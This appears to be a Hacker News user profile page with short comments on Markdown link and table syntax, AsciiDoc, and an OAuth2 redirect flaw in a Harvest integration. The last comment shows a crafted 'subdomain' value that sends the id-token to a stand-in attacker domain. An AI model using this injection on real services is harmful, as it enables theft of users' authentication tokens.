HN user

genzer

405 karma

I kept some notes at https://grokhard.com

Posts13
Comments9
View on HN

Using `-> Title.[1]` for Links looks neat at first. But I often tend to copy links from one Markdown to another. I don't think updating the footnote numbers of *both* Shrimple documents is easier in any way.

I argee. Up until now, the most PITA for me in Markdown is the table syntax. Even CommonMark does not have any spec for table except for long running discussions with lots of proposals.

AsciiDoc(tor) has a nice support for tables. It also supports more complex features like merged cells, span cols and all but the syntax suffers from there. I guess that is also why AsciiDoc was not widely adopted.

The vulnerability came from the outlook-integration.harvestapp.com. It used a JSON object as `state` containing instructions once the OAuth2 Callback succeeded.

The property `subdomain` was used to redirect the browser to a subdomain of harvestapp.com, passing the `#id-token`. The problem came from the fact that the value of `subdomain` was injected directly to:

https://${subdomain}.harvestapp.com/...#id-token=...

By setting the `subdomain` in JSON payload to `attacker-controlled.com/` (note the trailing slash), the URL become:

  https://attacker-controlled.com/.harvestapp.com/...#id-token=..
..thus redirects the browser to another domain, leaking the token.